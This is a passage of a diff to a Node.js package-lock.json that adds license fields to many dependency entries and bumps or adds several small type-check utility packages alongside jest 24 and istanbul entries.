+      "integrity": "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/is-fullwidth-code-point": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
       "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -4488,15 +4954,49 @@
       "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz",
       "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
     },
-    "node_modules/is-negative-zero": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz",
-      "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==",
+    "node_modules/is-generator-function": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.0.tgz",
+      "integrity": "sha512-nPUB5km40q9e8UfN/Zc24eLlzdSf9OfKByBw9CIdw4H1giPMeA0OIJvbchsCu4npfI2QcMVBsGEBHKZ7wLTWmQ==",
       "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.3",
+        "get-proto": "^1.0.0",
+        "has-tostringtag": "^1.0.2",
+        "safe-regex-test": "^1.1.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-map": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz",
+      "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-negative-zero": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz",
+      "integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==",
+      "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       },
@@ -4509,6 +5009,7 @@
       "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
       "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "kind-of": "^3.0.2"
       },
@@ -4517,12 +5018,14 @@
       }
     },
     "node_modules/is-number-object": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz",
-      "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==",
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.1.tgz",
+      "integrity": "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.3",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -4536,6 +5039,7 @@
       "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
       "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-buffer": "^1.1.5"
       },
@@ -4548,6 +5052,7 @@
       "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
       "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "isobject": "^3.0.1"
       },
@@ -4556,13 +5061,16 @@
       }
     },
     "node_modules/is-regex": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz",
-      "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==",
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz",
+      "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.2",
+        "gopd": "^1.2.0",
+        "has-tostringtag": "^1.0.2",
+        "hasown": "^2.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -4571,13 +5079,30 @@
         "url": "https://github.com/sponsors/ljharb"
       }
     },
-    "node_modules/is-shared-array-buffer": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz",
-      "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==",
+    "node_modules/is-set": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz",
+      "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==",
       "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-shared-array-buffer": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz",
+      "integrity": "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==",
+      "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2"
+        "call-bound": "^1.0.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -4588,17 +5113,20 @@
       "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz",
       "integrity": "sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/is-string": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz",
-      "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==",
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz",
+      "integrity": "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.3",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -4608,12 +5136,15 @@
       }
     },
     "node_modules/is-symbol": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz",
-      "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==",
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz",
+      "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "has-symbols": "^1.0.2"
+        "call-bound": "^1.0.2",
+        "has-symbols": "^1.1.0",
+        "safe-regex-test": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -4623,12 +5154,13 @@
       }
     },
     "node_modules/is-typed-array": {
-      "version": "1.1.12",
-      "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.12.tgz",
-      "integrity": "sha512-Z14TF2JNG8Lss5/HMqt0//T9JeHXttXy5pH/DBU4vi98ozO2btxzq9MwYDZYnKwU8nRsz/+GVFVRDq3DkVuSPg==",
+      "version": "1.1.15",
+      "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz",
+      "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "which-typed-array": "^1.1.11"
+        "which-typed-array": "^1.1.16"
       },
       "engines": {
         "node": ">= 0.4"
@@ -4641,20 +5173,56 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
       "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/is-utf8": {
       "version": "0.2.1",
       "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz",
-      "integrity": "sha512-rMYPYvCzsXywIsldgLaSoPlw5PfoB/ssr7hY4pLfcodrA5M/eArza1a9VmTiNIBNMjOGr1Ow9mTyU2o69U6U9Q=="
+      "integrity": "sha512-rMYPYvCzsXywIsldgLaSoPlw5PfoB/ssr7hY4pLfcodrA5M/eArza1a9VmTiNIBNMjOGr1Ow9mTyU2o69U6U9Q==",
+      "license": "MIT"
+    },
+    "node_modules/is-weakmap": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz",
+      "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
     },
     "node_modules/is-weakref": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz",
-      "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==",
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.1.tgz",
+      "integrity": "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2"
+        "call-bound": "^1.0.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-weakset": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.4.tgz",
+      "integrity": "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.3",
+        "get-intrinsic": "^1.2.6"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -4665,6 +5233,7 @@
       "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz",
       "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -4674,6 +5243,7 @@
       "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-1.1.0.tgz",
       "integrity": "sha512-gfygJYZ2gLTDlmbWMI0CE2MwnFzSN/2SZfkMlItC4K/JBlsWVDB0bO6XhqcY13YXE7iMcAJnzTCJjPiTeJJ0Mw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -4682,19 +5252,22 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
       "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/isexe": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
       "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/isobject": {
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
       "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -4703,13 +5276,15 @@
       "version": "0.1.2",
       "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
       "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/istanbul-lib-coverage": {
       "version": "2.0.5",
       "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.5.tgz",
       "integrity": "sha512-8aXznuEPCJvGnMSRft4udDRDtb1V3pkQkMMI5LI+6HuQz5oQ4J2UFn1H82raA3qJtyOLkkwVqICBQkjnGtn5mA==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=6"
       }
@@ -4719,6 +5294,7 @@
       "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-3.3.0.tgz",
       "integrity": "sha512-5nnIN4vo5xQZHdXno/YDXJ0G+I3dAm4XgzfSVTPLQpj/zAV2dV6Juy0yaf10/zrJOJeHoN3fraFe+XRq2bFVZA==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "@babel/generator": "^7.4.0",
         "@babel/parser": "^7.4.3",
@@ -4737,6 +5313,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
@@ -4746,6 +5323,7 @@
       "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-2.0.8.tgz",
       "integrity": "sha512-fHBeG573EIihhAblwgxrSenp0Dby6tJMFR/HvlerBsrCTD5bkUuoNtn3gVh29ZCS824cGGBPn7Sg7cNk+2xUsQ==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "istanbul-lib-coverage": "^2.0.5",
         "make-dir": "^2.1.0",
@@ -4760,6 +5338,7 @@
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz",
       "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "has-flag": "^3.0.0"
       },
@@ -4772,6 +5351,7 @@
       "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-3.0.6.tgz",
       "integrity": "sha512-R47KzMtDJH6X4/YW9XTx+jrLnZnscW4VpNN+1PViSYTejLVPWv7oov+Duf8YQSPyVRUvueQqz1TcsC6mooZTXw==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "debug": "^4.1.1",
         "istanbul-lib-coverage": "^2.0.5",
@@ -4788,6 +5368,7 @@
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -4797,6 +5378,7 @@
       "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-2.2.7.tgz",
       "integrity": "sha512-uu1F/L1o5Y6LzPVSVZXNOoD/KXpJue9aeLRd0sM9uMXfZvzomB0WxVamWb5ue8kA2vVWEmW7EG+A5n3f1kqHKg==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "html-escaper": "^2.0.0"
       },
@@ -4809,6 +5391,7 @@
       "resolved": "https://registry.npmjs.org/jest/-/jest-24.9.0.tgz",
       "integrity": "sha512-YvkBL1Zm7d2B1+h5fHEOdyjCG+sGMz4f8D86/0HiqJ6MB4MnDc8FgP5vdWsGnemOQro7lnYo8UakZ3+5A0jxGw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "import-local": "^2.0.0",
         "jest-cli": "^24.9.0"
@@ -4825,6 +5408,7 @@
       "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-24.9.0.tgz",
       "integrity": "sha512-6aTWpe2mHF0DhL28WjdkO8LyGjs3zItPET4bMSeXU6T3ub4FPMw+mcOcbdGXQOAfmLcxofD23/5Bl9Z4AkFwqg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^24.9.0",
         "execa": "^1.0.0",
@@ -4839,6 +5423,7 @@
       "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-24.9.0.tgz",
       "integrity": "sha512-+VLRKyitT3BWoMeSUIHRxV/2g8y9gw91Jh5z2UmXZzkZKpbC08CSehVxgHUwTpy+HwGcns/tqafQDJW7imYvGg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/core": "^24.9.0",
         "@jest/test-result": "^24.9.0",
@@ -4866,6 +5451,7 @@
       "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz",
       "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "string-width": "^3.1.0",
         "strip-ansi": "^5.2.0",
@@ -4877,6 +5463,7 @@
       "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
       "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
       "dev": true,
+      "license": "ISC",
       "engines": {
         "node": "6.* || 8.* || >= 10.*"
       }
@@ -4886,6 +5473,7 @@
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
       "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "emoji-regex": "^7.0.1",
         "is-fullwidth-code-point": "^2.0.0",
@@ -4900,6 +5488,7 @@
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
       "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^4.1.0"
       },
@@ -4911,13 +5500,15 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.1.tgz",
       "integrity": "sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/jest-cli/node_modules/wrap-ansi": {
       "version": "5.1.0",
       "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
       "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^3.2.0",
         "string-width": "^3.0.0",
@@ -4931,13 +5522,15 @@
       "version": "4.0.3",
       "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
       "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/jest-cli/node_modules/yargs": {
       "version": "13.3.2",
       "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz",
       "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "cliui": "^5.0.0",
         "find-up": "^3.0.0",
@@ -4956,6 +5549,7 @@
       "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz",
       "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "camelcase": "^5.0.0",
         "decamelize": "^1.2.0"
@@ -4966,6 +5560,7 @@
       "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-24.9.0.tgz",
       "integrity": "sha512-RATtQJtVYQrp7fvWg6f5y3pEFj9I+H8sWw4aKxnDZ96mob5i5SD6ZEGWgMLXQ4LE8UurrjbdlLWdUeo+28QpfQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/core": "^7.1.0",
         "@jest/test-sequencer": "^24.9.0",
@@ -4994,6 +5589,7 @@
       "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-24.9.0.tgz",
       "integrity": "sha512-qMfrTs8AdJE2iqrTp0hzh7kTd2PQWrsFyj9tORoKmu32xjPjeE4NyjVRDz8ybYwqS2ik8N4hsIpiVTyFeo2lBQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "chalk": "^2.0.1",
         "diff-sequences": "^24.9.0",
@@ -5009,6 +5605,7 @@
       "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-24.9.0.tgz",
       "integrity": "sha512-F1DjdpDMJMA1cN6He0FNYNZlo3yYmOtRUnktrT9Q37njYzC5WEaDdmbynIgy0L/IvXvvgsG8OsqhLPXTpfmZAA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "detect-newline": "^2.1.0"
       },
@@ -5021,6 +5618,7 @@
       "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-24.9.0.tgz",
       "integrity": "sha512-ONi0R4BvW45cw8s2Lrx8YgbeXL1oCQ/wIDwmsM3CqM/nlblNCPmnC3IPQlMbRFZu3wKdQ2U8BqM6lh3LJ5Bsog==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^24.9.0",
         "chalk": "^2.0.1",
@@ -5037,6 +5635,7 @@
       "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-24.9.0.tgz",
       "integrity": "sha512-Zv9FV9NBRzLuALXjvRijO2351DRQeLYXtpD4xNvfoVFw21IOKNhZAEUKcbiEtjTkm2GsJ3boMVgkaR7rN8qetA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/environment": "^24.9.0",
         "@jest/fake-timers": "^24.9.0",
@@ -5054,6 +5653,7 @@
       "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-24.9.0.tgz",
       "integrity": "sha512-6d4V2f4nxzIzwendo27Tr0aFm+IXWa0XEUnaH6nU0FMaozxovt+sfRvh4J47wL1OvF83I3SSTu0XK+i4Bqe7uA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/environment": "^24.9.0",
         "@jest/fake-timers": "^24.9.0",
@@ -5070,6 +5670,7 @@
       "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-24.9.0.tgz",
       "integrity": "sha512-lUseMzAley4LhIcpSP9Jf+fTrQ4a1yHQwLNeeVa2cEmbCGeoZAtYPOIv8JaxLD/sUpKxetKGP+gsHl8f8TSj8Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 6"
       }
@@ -5079,6 +5680,7 @@
       "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-24.9.0.tgz",
       "integrity": "sha512-kfVFmsuWui2Sj1Rp1AJ4D9HqJwE4uwTlS/vO+eRUaMmd54BFpli2XhMQnPC2k4cHFVbB2Q2C+jtI1AGLgEnCjQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^24.9.0",
         "anymatch": "^2.0.0",
@@ -5104,6 +5706,7 @@
       "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-24.9.0.tgz",
       "integrity": "sha512-Cq7vkAgaYKp+PsX+2/JbTarrk0DmNhsEtqBXNwUHkdlbrTBLtMJINADf2mf5FkowNsq8evbPc07/qFO0AdKTzw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/traverse": "^7.1.0",
         "@jest/environment": "^24.9.0",
@@ -5131,6 +5734,7 @@
       "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-24.9.0.tgz",
       "integrity": "sha512-tYkFIDsiKTGwb2FG1w8hX9V0aUb2ot8zY/2nFg087dUageonw1zrLMP4W6zsRO59dPkTSKie+D4rhMuP9nRmrA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "jest-get-type": "^24.9.0",
         "pretty-format": "^24.9.0"
@@ -5144,6 +5748,7 @@
       "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-24.9.0.tgz",
       "integrity": "sha512-OZz2IXsu6eaiMAwe67c1T+5tUAtQyQx27/EMEkbFAGiw52tB9em+uGbzpcgYVpA8wl0hlxKPZxrly4CXU/GjHA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
